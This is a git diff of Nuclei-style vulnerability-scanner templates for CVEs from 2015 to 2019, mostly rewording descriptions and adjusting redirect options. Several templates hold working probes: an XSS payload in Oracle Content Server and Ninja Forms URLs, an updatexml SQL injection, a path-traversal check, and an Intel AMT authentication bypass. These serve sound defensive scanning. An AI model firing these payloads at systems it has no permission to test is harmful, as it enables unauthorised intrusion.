 info:
-  name: D-Link DVG-N5402SP - Path Traversal
+  name: D-Link DVG-N5402SP - Local File Inclusion
   author: 0x_Akoko
   severity: high
   description: |
-    Directory traversal vulnerability in D-Link DVG-N5402SP with firmware W1000CN-00, W1000CN-03, or W2000EN-00 allows remote attackers to read sensitive information via a .. (dot dot) in the errorpage parameter.
+    D-Link DVG-N5402SP is susceptible to local file inclusion in products with firmware W1000CN-00, W1000CN-03, or W2000EN-00. A remote attacker can read sensitive information via a .. (dot dot) in the errorpage parameter.
   reference:
     - https://packetstormsecurity.com/files/135590/D-Link-DVG-N5402SP-Path-Traversal-Information-Disclosure.html
     - https://www.exploit-db.com/exploits/39409/
@@ -30,3 +30,5 @@ requests:
         part: body
         regex:
           - "root:.*:0:0:"
+
+# Enhanced by mp on 2022/09/30

cves/2015/CVE-2015-7823.yaml

@@ -1,10 +1,10 @@
 id: CVE-2015-7823
 
 info:
-  name: Kentico CMS 8.2 Open Redirection
+  name: Kentico CMS 8.2 - Open Redirect
   author: 0x_Akoko
   severity: low
-  description: The GetDocLink.ashx  with link variable is vulnerable to open redirect vulnerability
+  description: Kentico CMS 8.2 contains an open redirect vulnerability via GetDocLink.ashx with link variable. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.
   reference:
     - https://packetstormsecurity.com/files/133981/Kentico-CMS-8.2-Cross-Site-Scripting-Open-Redirect.html
     - https://nvd.nist.gov/vuln/detail/CVE-2015-7823
@@ -23,3 +23,5 @@ requests:
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
         part: header
+
+# Enhanced by mp on 2022/09/30

cves/2015/CVE-2015-8399.yaml

@@ -1,14 +1,15 @@
 id: CVE-2015-8399
 
 info:
-  name: Atlassian Confluence configuration files read
+  name: Atlassian Confluence <5.8.17 - Information Disclosure
   author: princechaddha
   severity: medium
-  description: Atlassian Confluence before 5.8.17 allows remote authenticated users to read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
+  description: Atlassian Confluence before 5.8.17 contains an information disclsoure vulnerability. A remote authenticated user can read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
   reference:
     - https://jira.atlassian.com/browse/CONFSERVER-39704?src=confmacro
     - https://www.exploit-db.com/exploits/39170/
     - http://web.archive.org/web/20201209041130/https://www.securityfocus.com/archive/1/537232/100/0/threaded
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-8399
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
     cvss-score: 4.3
@@ -35,3 +36,5 @@ requests:
           - "confluence-init.properties"
           - "View Default Decorator"
         condition: and
+
+# Enhanced by mp on 2022/09/30

cves/2016/CVE-2016-10368.yaml

@@ -1,15 +1,15 @@
 id: CVE-2016-10368
 
 info:
-  name: Opsview Monitor Pro 4.5.x - Open Redirect
+  name: Opsview Monitor Pro - Open Redirect
   author: 0x_Akoko
   severity: medium
   description: |
-    Open redirect vulnerability in Opsview Monitor Pro (Prior to 5.1.0.162300841 prior to 5.0.2.27475, prior to 4.6.4.162391051, and 4.5.x without a certain 2016 security patch) allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via the back parameter to the login URI.
+    Opsview Monitor Pro before 5.1.0.162300841, before 5.0.2.27475, before 4.6.4.162391051, and 4.5.x without a certain 2016 security patch contains an open redirect vulnerability. An attacker can redirect users to arbitrary web sites and conduct phishing attacks via the back parameter to the login URI.
   reference:
     - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18774
-    - https://nvd.nist.gov/vuln/detail/CVE-2016-10368
     - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-016/?fid=8341
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-10368
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -36,3 +36,5 @@ requests:
       - type: status
         status:
           - 302
+
+# Enhanced by mp on 2022/10/12

cves/2017/CVE-2017-1000029.yaml

@@ -7,7 +7,6 @@ info:
   description: Oracle GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to unauthenticated local file inclusion vulnerabilities that allow remote attackers to request arbitrary files on the server.
   reference:
     - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18784
-    - https://www.cvedetails.com/cve/CVE-2017-1000029
     - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-011/?fid=8037
     - https://nvd.nist.gov/vuln/detail/CVE-2017-1000029
   classification:
@@ -32,4 +31,4 @@ requests:
         status:
           - 200
 
-# Enhanced by mp on 2022/06/09
+# Enhanced by mp on 2022/10/24

cves/2017/CVE-2017-10075.yaml

@@ -1,34 +1,47 @@
 id: CVE-2017-10075
 
 info:
-  name: Oracle Content Server Cross-Site Scripting
+  name: Oracle Content Server - Cross-Site Scripting
   author: madrobot
   severity: high
-  description: Oracle Content Server version 11.1.1.9.0, 12.2.1.1.0 and 12.2.1.2.0 are susceptible to cross-site scripting. The vulnerability can be used to include HTML or JavaScript code in the affected web page. The code is executed in the browser of users if they visit the manipulated site.
+  description: |
+    Oracle Content Server version 11.1.1.9.0, 12.2.1.1.0 and 12.2.1.2.0 are susceptible to cross-site scripting. The vulnerability can be used to include HTML or JavaScript code in the affected web page. The code is executed in the browser of users if they visit the manipulated site.
   reference:
     - http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-10075
     - http://web.archive.org/web/20211206074610/https://securitytracker.com/id/1038940
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-10075
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
     cvss-score: 8.2
     cve-id: CVE-2017-10075
+  metadata:
+    google-dork: inurl:"/cs/idcplg"
+    verified: "true"
   tags: cve,cve2017,xss,oracle
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO"
-      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E"
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>&dSecurityGroup=&QueryText=(dInDate+>=+%60<$dateCurrent(-7)$>%60)&PageTitle=OO"
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>"
 
+    stop-at-first-match: true
     matchers-condition: and
     matchers:
+      - type: word
+        part: body
+        words:
+          - "<svg/onload=alert(document.domain)>"
+          - "ORACLE_QUERY"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - "<script>alert(31337)</script>"
-        part: body
 
 # Enhanced by mp on 2022/04/12

cves/2017/CVE-2017-11512.yaml

@@ -8,10 +8,9 @@ info:
     ManageEngine ServiceDesk 9.3.9328 is vulnerable to an arbitrary file retrieval due to improper restrictions of the pathname used in the name parameter for the download-snapshot path. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.
   reference:
     - https://exploit.kitploit.com/2017/11/manageengine-servicedesk-cve-2017-11512.html
-    - https://www.cvedetails.com/cve/CVE-2017-11512
     - https://www.tenable.com/security/research/tra-2017-31
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-11512
     - https://web.archive.org/web/20210116180015/https://www.securityfocus.com/bid/101789/
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-11512
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5

cves/2017/CVE-2017-11586.yaml

@@ -1,11 +1,11 @@
 id: CVE-2017-11586
 
 info:
-  name: FineCms < 5.0.9 - Open redirect
+  name: FineCMS <5.0.9 - Open Redirect
   author: 0x_Akoko
   severity: medium
   description: |
-    dayrui FineCms 5.0.9 has URL Redirector Abuse via the url parameter in a sync action.
+    FineCMS 5.0.9 contains an open redirect vulnerability via the url parameter in a sync action. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse
     - https://nvd.nist.gov/vuln/detail/CVE-2017-11586
@@ -37,3 +37,5 @@ requests:
         part: header
         regex:
           - 'Refresh:(.*)url=http:\/\/interact\.sh'
+
+# Enhanced by mp on 2022/10/12

cves/2017/CVE-2017-12138.yaml

@@ -4,11 +4,12 @@ info:
   name: XOOPS Core 2.5.8 - Open Redirect
   author: 0x_Akoko
   severity: medium
-  description: XOOPS Core 2.5.8 has a stored URL redirect bypass vulnerability in /modules/profile/index.php because of the URL filter.
+  description: XOOPS Core 2.5.8 contains an open redirect vulnerability in /modules/profile/index.php due to the URL filter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://github.com/XOOPS/XoopsCore25/issues/523
     - https://xoops.org
     - https://www.cvedetails.com/cve/CVE-2017-12138
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-12138
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -35,3 +36,5 @@ requests:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13

cves/2017/CVE-2017-17736.yaml

@@ -1,11 +1,11 @@
 id: CVE-2017-17736
 
 info:
-  name: Kentico - Unauthenticated Administration Dashboard
+  name: Kentico - Installer Privilege Escalation
   author: shiar
   severity: critical
   description: |
-    Kentico 9.0 before 9.0.51 and 10.0 before 10.0.48 allows remote attackers to obtain Global Administrator access by visiting CMSInstall/install.aspx and then navigating to the CMS Administration Dashboard.
+    Kentico 9.0 before 9.0.51 and 10.0 before 10.0.48 are susceptible to a privilege escalation attack. An attacker can obtain Global Administrator access by visiting CMSInstall/install.aspx and then navigating to the CMS Administration Dashboard.
   reference:
     - https://www.exploit-db.com/ghdb/5694
     - https://nvd.nist.gov/vuln/detail/CVE-2017-17736
@@ -16,9 +16,9 @@ info:
     cve-id: CVE-2017-17736
     cwe-id: CWE-425
   metadata:
-    google-dork: intitle:"kentico database setup"
+    google-query: intitle:"kentico database setup"
     verified: "true"
-  tags: cve,cve2017,kentico,cms,install,rce,unauth,edb
+  tags: cve,cve2017,kentico,cms,install,unauth,edb
 
 requests:
   - method: GET
@@ -39,3 +39,5 @@ requests:
           - "Database Setup"
           - "SQLServer"
         condition: and
+
+# Enhanced by cs on 2022/10/06

cves/2017/CVE-2017-5689.yaml

@@ -0,0 +1,46 @@
+id: CVE-2017-5689
+
+info:
+  name: Intel Active Management Technology - Authentication Bypass
+  author: pdteam
+  severity: critical
+  description: |
+    An unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs: Intel Active Management Technology (AMT) and Intel Standard Manageability (ISM). An unprivileged local attacker could provision manageability features gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel Active Management Technology (AMT), Intel Standard Manageability (ISM), and Intel Small Business Technology (SBT).
+  reference:
+    - https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr
+    - https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
+    - https://www.embedi.com/news/mythbusters-cve-2017-5689
+    - https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2017-5689
+  metadata:
+    shodan-query: title:"Active Management Technology"
+    verified: "true"
+  tags: cve,cve2017,amt,intel,tenable,kev
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /hw-sys.htm HTTP/1.1
+        Host: {{Hostname}}
+
+    digest-username: admin
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - "System Status"
+          - "Active Management Technology"
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-1000856.yaml

@@ -40,7 +40,7 @@ requests:
         Content-Type: application/x-www-form-urlencoded
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 3
     matchers-condition: and
     matchers:

cves/2018/CVE-2018-11231.yaml

@@ -27,7 +27,7 @@ requests:
 
         {"metadata":{"order_id":"1 and updatexml(1,concat(0x7e,(SELECT md5({{num}})),0x7e),1)"},"status":2}
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers-condition: and
     matchers:

cves/2018/CVE-2018-12300.yaml

@@ -4,7 +4,7 @@ info:
   name: Seagate NAS OS 4.3.15.1 - Open Redirect
   author: 0x_Akoko
   severity: medium
-  description: Arbitrary Redirect in echo-server.html in Seagate NAS OS version 4.3.15.1 allows attackers to disclose information in the Referer header via the 'state' URL parameter.
+  description: Seagate NAS OS 4.3.15.1 contains an open redirect vulnerability in echo-server.html, which can allow an attacker to disclose information in the referer header via the state URL parameter.
   reference:
     - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170
     - https://nvd.nist.gov/vuln/detail/CVE-2018-12300
@@ -26,3 +26,5 @@ requests:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13

cves/2018/CVE-2018-12675.yaml

@@ -1,16 +1,16 @@
 id: CVE-2018-12675
 
 info:
-  name: SV3C HD Camera L-SERIES - Open Redirect
+  name: SV3C HD Camera L Series - Open Redirect
   author: 0x_Akoko
   severity: medium
   description: |
-    The SV3C HD Camera (L-SERIES V2.3.4.2103-S50-NTD-B20170508B and V2.3.4.2103-S50-NTD-B20170823B) does not perform origin checks on URLs that the camera's web interface redirects a user to. This can be leveraged to send a user to an unexpected endpoint.
+    SV3C HD Camera L Series 2.3.4.2103-S50-NTD-B20170508B and 2.3.4.2103-S50-NTD-B20170823B contains an open redirect vulnerability. It does not perform origin checks on URLs in the camera's web interface, which can be leveraged to send a user to an unexpected endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://bishopfox.com/blog/sv3c-l-series-hd-camera-advisory
     - https://vuldb.com/?id.125799
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-12675
     - https://www.bishopfox.com/news/2018/10/sv3c-l-series-hd-camera-multiple-vulnerabilities/
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-12675
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -30,3 +30,5 @@ requests:
         part: body
         words:
           - '<META http-equiv="Refresh" content="0;URL=http://interact.sh">'
+
+# Enhanced by md on 2022/10/13

cves/2018/CVE-2018-14474.yaml

@@ -1,11 +1,11 @@
 id: CVE-2018-14474
 
 info:
-  name: OrangeForum 1.4.0 - Open Redirect
+  name: Orange Forum 1.4.0 - Open Redirect
   author: 0x_Akoko
   severity: medium
   description: |
-    views/auth.go in Orange Forum 1.4.0 allows Open Redirection via the next parameter to /login or /signup.
+    Orange Forum 1.4.0 contains an open redirect vulnerability in views/auth.go via the next parameter to /login or /signup. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://github.com/s-gv/orangeforum/commit/1f6313cb3a1e755880fc1354f3e1efc4dd2dd4aa
     - https://seclists.org/fulldisclosure/2019/Jan/32
@@ -30,3 +30,5 @@ requests:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13

cves/2018/CVE-2018-14574.yaml

@@ -1,10 +1,10 @@
 id: CVE-2018-14574
 
 info:
-  name: Django Open Redirect
+  name: Django - Open Redirect
   author: pikpikcu
   severity: medium
-  description: django.middleware.common.CommonMiddleware in Django 1.11.x before 1.11.15 and 2.0.x before 2.0.8 has an Open Redirect.
+  description: Django 1.11.x before 1.11.15 and 2.0.x before 2.0.8 contains an open redirect vulnerability. If  django.middleware.common.CommonMiddleware and APPEND_SLASH settings are selected, and if the project has a URL pattern that accepts any path ending in a slash, an attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://www.djangoproject.com/weblog/2018/aug/01/security-releases/
     - https://usn.ubuntu.com/3726-1/
@@ -12,6 +12,7 @@ info:
     - https://www.debian.org/security/2018/dsa-4264
     - http://web.archive.org/web/20210124194607/https://www.securityfocus.com/bid/104970/
     - https://access.redhat.com/errata/RHSA-2019:0265
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-14574
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -34,3 +35,5 @@ requests:
           - "Location: https://www.interact.sh"
           - "Location: http://www.interact.sh"
         part: header
+
+# Enhanced by md on 2022/10/13

cves/2018/CVE-2018-16761.yaml

@@ -1,11 +1,11 @@
 id: CVE-2018-16761
 
 info:
-  name: Eventum v3.3.4 - Open Redirect
+  name: Eventum <3.4.0 - Open Redirect
   author: 0x_Akoko
   severity: medium
   description: |
-    Eventum before 3.4.0 has an open redirect vulnerability.
+    Eventum before 3.4.0 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://www.invicti.com/web-applications-advisories/ns-18-021-open-redirection-vulnerabilities-in-eventum/
     - https://github.com/eventum/eventum/releases/tag/v3.4.0
@@ -29,3 +29,5 @@ requests:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13

cves/2018/CVE-2018-17246.yaml

@@ -2,7 +2,7 @@ id: CVE-2018-17246
 
 info:
   name: Kibana - Local File Inclusion
-  author: princechaddha
+  author: princechaddha,thelicato
   severity: critical
   description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
   reference:
@@ -25,19 +25,19 @@ requests:
     matchers-condition: and
     matchers:
       - type: word
+        part: body
         words:
           - "\"message\":\"An internal server error occurred\""
-        part: body
 
       - type: word
+        part: header
         words:
           - "kbn-name"
-          - "application/json"
           - "kibana"
-        condition: and
-        part: header
-      - type: status
-        status:
-          - 500
+        condition: or
+        case-insensitive: true
 
-# Enhanced by mp on 2022/05/13
+      - type: word
+        part: header
+        words:
+          - "application/json"

cves/2018/CVE-2018-17422.yaml

@@ -1,14 +1,15 @@
 id: CVE-2018-17422
 
 info:
-  name: dotCMS < 5.0.2 - Open Redirect
+  name: dotCMS <5.0.2 - Open Redirect
   author: 0x_Akoko,daffainfo
   severity: medium
   description: |
-    dotCMS before 5.0.2 has open redirects via the html/common/forward_js.jsp FORWARD_URL parameter or the html/portlet/ext/common/page_preview_popup.jsp hostname parameter.
+    dotCMS before 5.0.2 contains multiple open redirect vulnerabilities via the html/common/forward_js.jsp FORWARD_URL parameter or the html/portlet/ext/common/page_preview_popup.jsp hostname parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://github.com/dotCMS/core/issues/15286
     - https://www.cvedetails.com/cve/CVE-2018-17422
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-17422
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -37,3 +38,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2022/10/13

cves/2018/CVE-2018-18069.yaml

@@ -24,7 +24,7 @@ requests:
     body: |
       icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers:
       - type: dsl

cves/2018/CVE-2018-19287.yaml

@@ -0,0 +1,54 @@
+id: CVE-2018-19287
+
+info:
+  name: WordPress Ninja Forms <3.3.18 - Cross-Site Scripting
+  author: theamanrawat
+  severity: medium
+  description: |
+    WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
+  reference:
+    - https://wpscan.com/vulnerability/fb036dc2-0ee8-4a3e-afac-f52050b3f8c7
+    - https://wordpress.org/plugins/ninja-forms/
+    - https://www.exploit-db.com/exploits/45880
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-19287
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2018-19287
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: wp-plugin,wp,xss,authenticated,wpscan,edb,cve,cve2018,ninja-forms,wordpress
+
+requests:
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In
+
+      - |
+        GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
+        Host: {{Hostname}}
+
+    req-condition: true
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - 'Begin Date" value="\"><img src=x onerror=alert(document.domain);//">'
+
+      - type: word
+        part: header_2
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/10/17

cves/2018/CVE-2018-19749.yaml

@@ -40,7 +40,7 @@ requests:
         Host: {{Hostname}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     req-condition: true
     matchers:

cves/2018/CVE-2018-19751.yaml

@@ -41,7 +41,7 @@ requests:
         Host: {{Hostname}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers-condition: and
     matchers:

cves/2018/CVE-2018-19752.yaml

@@ -40,7 +40,7 @@ requests:
         Host: {{Hostname}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers-condition: and
     matchers:

cves/2018/CVE-2018-19892.yaml

@@ -40,7 +40,7 @@ requests:
         Host: {{Hostname}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 3
     matchers-condition: and
     matchers:

cves/2018/CVE-2018-19914.yaml

@@ -40,7 +40,7 @@ requests:
         Host: {{Hostname}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     req-condition: true
     matchers:

cves/2018/CVE-2018-19915.yaml

@@ -40,7 +40,7 @@ requests:
         Host: {{Hostname}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     req-condition: true
     matchers:

cves/2018/CVE-2018-20009.yaml

@@ -40,7 +40,7 @@ requests:
         Host: {{Hostname}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     req-condition: true
     matchers:

cves/2018/CVE-2018-20010.yaml

@@ -40,7 +40,7 @@ requests:
         Host: {{Hostname}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     req-condition: true
     matchers:

cves/2018/CVE-2018-20011.yaml

@@ -40,7 +40,7 @@ requests:
         Host: {{Hostname}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     req-condition: true
     matchers:

cves/2018/CVE-2018-20526.yaml

@@ -5,12 +5,11 @@ info:
   author: DhiyaneshDK
   severity: critical
   description: |
-    Roxy Fileman 1.4.5 allows unrestricted file upload in upload.php.
+    Roxy Fileman 1.4.5 is susceptible to unrestricted file upload via upload.php. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
   reference:
     - http://packetstormsecurity.com/files/151033/Roxy-Fileman-1.4.5-File-Upload-Directory-Traversal.html
     - https://www.exploit-db.com/exploits/46085/
     - https://nvd.nist.gov/vuln/detail/CVE-2018-20526
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20526
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
@@ -61,7 +60,7 @@ requests:
         Host: {{Hostname}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers-condition: and
     matchers:
@@ -78,3 +77,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by mp on 2022/10/06

cves/2018/CVE-2018-6200.yaml

@@ -1,14 +1,15 @@
 id: CVE-2018-6200
 
 info:
-  name: vBulletin 3.x.x & 4.2.x - Open Redirect
+  name: vBulletin - Open Redirect
   author: 0x_Akoko,daffainfo
   severity: medium
   description: |
-    vBulletin 3.x.x and 4.2.x through 4.2.5 has an open redirect via the redirector.php url parameter.
+    vBulletin 3.x.x and 4.2.x through 4.2.5 contains an open redirect vulnerability via the redirector.php URL parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
   reference:
     - https://cxsecurity.com/issue/WLB-2018010251
     - https://www.cvedetails.com/cve/CVE-2018-6200
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-6200
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -35,3 +36,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2022/10/13

cves/2018/CVE-2018-7602.yaml

@@ -46,7 +46,7 @@ requests:
         form_build_id={{form_build_id}}
 
     cookie-reuse: true
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers:
       - type: word

cves/2018/CVE-2018-9845.yaml

@@ -20,7 +20,7 @@ requests:
     path:
       - "{{BaseURL}}/Admin"
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers-condition: and
     matchers:

cves/2019/CVE-2019-1010290.yaml

@@ -1,10 +1,10 @@
 id: CVE-2019-1010290
 
 info:
-  name: Babel - Open Redirection
+  name: Babel - Open Redirect
   author: 0x_Akoko
   severity: medium
-  description: Babel Multilingual site Babel All is affected by Open Redirection The impact is Redirection to any URL, which is supplied to redirect  in a newurl parameter. The component is redirect The attack vector is The victim must open a link created by an attacker
+  description: Babel contains an open redirect vulnerability via redirect.php in the newurl parameter. An attacker can use any legitimate site using Babel to redirect user to a malicious site, thus possibly obtaining sensitive information, modifying data, and/or executing unauthorized operations.
   reference:
     - https://untrustednetwork.net/en/2019/02/20/open-redirection-vulnerability-in-babel/
     - http://dev.cmsmadesimple.org/project/files/729
